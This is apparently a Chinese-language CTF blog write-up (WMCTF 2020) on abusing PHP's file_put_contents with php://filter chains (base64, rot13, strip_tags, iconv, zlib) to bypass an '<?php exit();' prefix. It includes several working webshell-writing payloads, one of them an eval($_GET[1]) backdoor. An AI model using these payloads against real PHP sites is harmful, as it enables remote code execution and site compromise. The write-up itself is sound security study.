3rsh1
/single dog/college student/ctfer
3rsh1's Blog

关于file_put_contents的一些思考

之前一直很想整理一下wmctf的wp,不过一直被搁置,主要是因为划水没时间。快开学了,还是整理一下吧。先来一波基础知识。

对于file_put_contents()的一些思考

特性:

主要用于写shell,和伪协议联合使用,来绕过对关键词的的绕过或者绕过特定的前缀拼写。先来看一下这个函数:

file_put_contents ( string filename , mixeddata [, int flags = 0 [, resourcecontext ]] ) : int

作用是将一些字符串写入一个文件内,第一个参数是文件名,第二个参数是写入的数据,第三个参数是标志位,第四个参数忽略不计。

对于php://filter/伪协议,它也是有写文件的作用的,同样可以和上述函数结合起来。

$filename="php://filter/read=string.toupper/resource=index.php";
$content="aaaccceee";
file_put_contents($filename,$content);

"""index.php
AAACCCEEE
"""

逻辑就是先取要写的数据,然后继续读文件名,发现文件名前面是有php伪协议的,因此会一层一层的剥离,如果你一层一层剥开我的心,然后最后再到达深处的index.php文件名,到这里的时候要写的内荣已经是处理过的内容了。

还有一个小特性就是如果过滤器部分遇到了不认识的过滤器或者是别的奇奇怪怪的字符串,写文件的时候是不会在意的,但是会抛出一个warning

$filename="php://filter/write=string.toupper|aaaccceee/resource=index.php";
$content="bbbdddeee";
file_put_contents($filename,$content);

"""index.php
BBBDDDEEE
"""

例子1:

直接来看一个例子:

file_put_contents(filename,”<?php exit();”.content);

方法1 base64:

base64编码绕过:

$filename="php://filter/write=convert.base64-decode/resource=index.php";
$content="aPD9waHAgcGhwaW5mbygpOz8+";
file_put_contents($filename,"<?php exit();".$content);
https://3rsh1.oss-cn-beijing.aliyuncs.com/1598617512898.png

这里因为base64解码之后是4位变3位的,而特殊字符不在base64解码之列,因此只有phpexit参与了解码,为了其不影响后面的内容所以要补上一位。

方法2 Rot13编码:

/*echo str_rot13("<?php phpinfo();?>");*/
filename="php://filter/write=string.rot13/resource=index.php";content="<?cuc cucvasb();?>";
file_put_contents(filename,"<?php exit();".content);
https://3rsh1.oss-cn-beijing.aliyuncs.com/1598617936098.png

需要注意这里需要的条件是没有开启短标签,默认情况是没开启的:php.ini中的short_open_tag可以看到。主要是因为我们可以看到写入的文件中是含有<?<?php的,若是开启了短标签则会首先解析其前面的rkvg()影响后面的函数的执行。

方法3 组合拳:

<?php
/*echo base64_encode("<?php phpinfo();?>");*/
filename="php://filter/write=string.strip_tags|convert.base64-decode/resource=index.php";content="?>PD9waHAgcGhwaW5mbygpOz8+";
file_put_contents(filename,"<?php exit();".content);
https://3rsh1.oss-cn-beijing.aliyuncs.com/1598618655314.png

这种方法就不需要补足字符串了。

这里的string.strip_tags,使用此过滤器等同于用 strip_tags()函数处理所有的流数据。

该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。 第一个参数是需要输入的字符串,第二个参数是不必去除的标签。

这里的标签也包含标签中间的内容。

例子2:

file_put_contents(a,”<?php exit();”.a);

需要注意这里的方法1没有效果,因为base64解码的结束标志为等号,而我们的伪协议的利用过程中必不可少的就是resource=,所以方法1就失效了。这里的失效估计是因为内容不能完全被解码造成的,平时的base64_decode中,解码的时候仅仅过滤掉不能解码的符号,并不会报错,不知道为啥这里不可以。奇怪。

https://3rsh1.oss-cn-beijing.aliyuncs.com/1598619769843.png
https://3rsh1.oss-cn-beijing.aliyuncs.com/1598619839530.png

方法1 rot13编码:

rot13编码就不会出现这个问题。

$a = php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=index.php;

方法2:iconv转换:

其实iconv还是有蛮多利用空间的,因为这里涉及环境的问题就不补充了。直接贴出来利用方式:

两位一反转,其实就是交换位置。

#echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');
?<hp phpipfn(o;)>?

四位一反转也是交换位置,正读和反读的区别。这里就要求转换的内容需要是2或4的倍数,要不然会影响后面的内容。感觉这里最需要关注的内容应该是前面的字符串因为,转码从前面开始,只有前面的是4的倍数,构造的shell也是4的倍数才可以。

echo iconv("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>');
?<aa phpiphp(ofn>?;)

payload:

$a='php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=Cyc1e.php';
**or**
$a='php://filter//convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=Cyc1e.php';
#由于是4位一反转,所以需要保证?<aa phpiphp(ofn>?;)之前字符个数是4的倍数,所以需要补3个字符

对于前面的补充:

因为=会影响base64的解码,所以我们会思考能不能把=给转成别的字符,之前我们看到的rot13 UCS-4LE,等都是交换位置,但是没办法把=转成别的字符。但是接触到iconv之后我们发现utf-7中的=其实是被转码了的,但是对于字母数字没啥影响,base64编码中的字符又不多,我们就思考能不能把=给转了。下面是利用方法:

$a='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php'; #base64编码前补了AA,原理一样,补齐位数

结果:

php://filter/convert.iconv.utf-8.utf-7+AHw-convert.base64-decode+AHw-AAPD9waHAgcGhwaW5mbygpOz8+-/resource+AD0-Cyc1e.php

发现=被完美的转码了,不会影响解码。

关于无法解码的=,测试了一下发现=只能放在结尾,而且需要补足4字节,基本上是没啥操作空间的。突然有个想法,假如说一个文件的文件名就是=,那这样就可以拜托=的困扰了。对于一个文件只要文件内含有php完整的代码就是可以解析的,没毛病。

这里也发现一些奇奇怪怪的条件,比如说=凑足4字节的时候会发现有时候四个字节里的=不能多余两个,还有就是=之前出现过的+也会影响payload的执行,但是有时候又不会,就会显的非常迷。这里的条件暂定为2个,一个为=只能出现在最后,且payload字节数需要是4的倍数。

这里避免+的方法是重新更改当初的payload,这里用的是添加;的方法,因为;在php语句中充当的是一个结尾符,并不影响实际执行其实添加\\也是可以的,然后因为base64编码时是3 => 4,这里再凑足3的倍数个字节也不会出现补足的=,构造方式很灵活有时候也很奇怪,具体情况具体分析就好了。

https://3rsh1.oss-cn-beijing.aliyuncs.com/1598691629901.png

还有一种方法就是把=给消掉,需要用到string.strip_tags,也刚好结合了前面的<?php exit();,直接贴出来:

$a = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php';

拼接之后会首先直接除掉<?php ?>之间的内容,然后,再进行转码,应该很好理解了,也非常简单,这里就不再赘述了。

关于题目的补充:

刚好wmctf出现过类似的题目,用到了压缩过滤器来构造shell,这里也分析一下:

我再题目中过滤的过滤器有👇

/iconv|UCS|UTF|rot|quoted|base64/

php:filter支持使用多个过滤器,参考官方文档 可用过滤器列表,还留下了字符串过滤器中的部分压缩过滤器以及加密过滤器,所以可以考虑从这几个过滤器入手,最好用的应该就是zlibzlib.deflatezlib.inflate,组合使用压缩后再解压后内容肯定不变,不过我们可以在中间遍历一下剩下的几个过滤器,看看中间进行什么操作会影响后续inflate的内容,简单遍历一下可以发现中间插入string.tolower转后会把空格和exit处理了就可以绕过exit👇

php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php

当然,也是可以通过构造单个字符,通过zlib.deflate压缩来形成shell,这里就不多说了~

在这里试了确实是可以除去空格,但是并不能去除<?php,这样导致后面的标签会出问题,难以避免,让人头秃。文中也提到了“构造单个字符,通过zlib.deflate压缩来形成shell”,这里的zlib.inflate压缩用的试lz777算法和哈夫曼编码,合理性存疑,但是因为时间原因暂时先不去研究,之后有时间会搞一下。

其实也思考过是否存在一串字符串压缩之后就是纯正的shell,但是没有办法尝试因为确实希望很渺茫,哪怕是连续的字符串也是可以的,因为base64解码会忽略掉特殊的字符,再编码依次就完全可以还原shell。

echo base64_encode(base64_decode("a\x00\x01c12"));
//ac12 

不过这里可以和string.strip_tags结合使用,因为解压不纯粹的压缩数据会导致数据写不到文件里去,这里就先去除前面的闲杂字串,不过这里也就和其余的解开始有点关联了。

$filename="php://filter/string.strip_tags|zlib.inflate/resource=Cyc1e.php";
$content="123?>".urldecode("%B3%B1%0F%F0%08PH-K%CC%D1P%89ww%0D%89VJ%CEMQ%8A%D5%B4%B6%B7%03");
file_put_contents($filename,"<?php exit();".$content);
https://3rsh1.oss-cn-beijing.aliyuncs.com/1598699591748.png

以上。

参考链接:

https://cyc1e183.github.io/2020/08/04/WMctf2020-Checkin%E5%87%BA%E9%A2%98%E6%83%B3%E6%B3%95-%E9%A2%98%E8%A7%A3/ 
https://sec.thief.one/article_content?a_id=63347eb01321b3a34c007b112f266adb

发表评论

textsms
account_circle
email

3rsh1's Blog

关于file_put_contents的一些思考
之前一直很想整理一下wmctf的wp,不过一直被搁置,主要是因为划水没时间。快开学了,还是整理一下吧。先来一波基础知识。 对于file_put_contents()的一些思考 特性: 主要用于写shell…
扫描二维码继续阅读
2020-09-16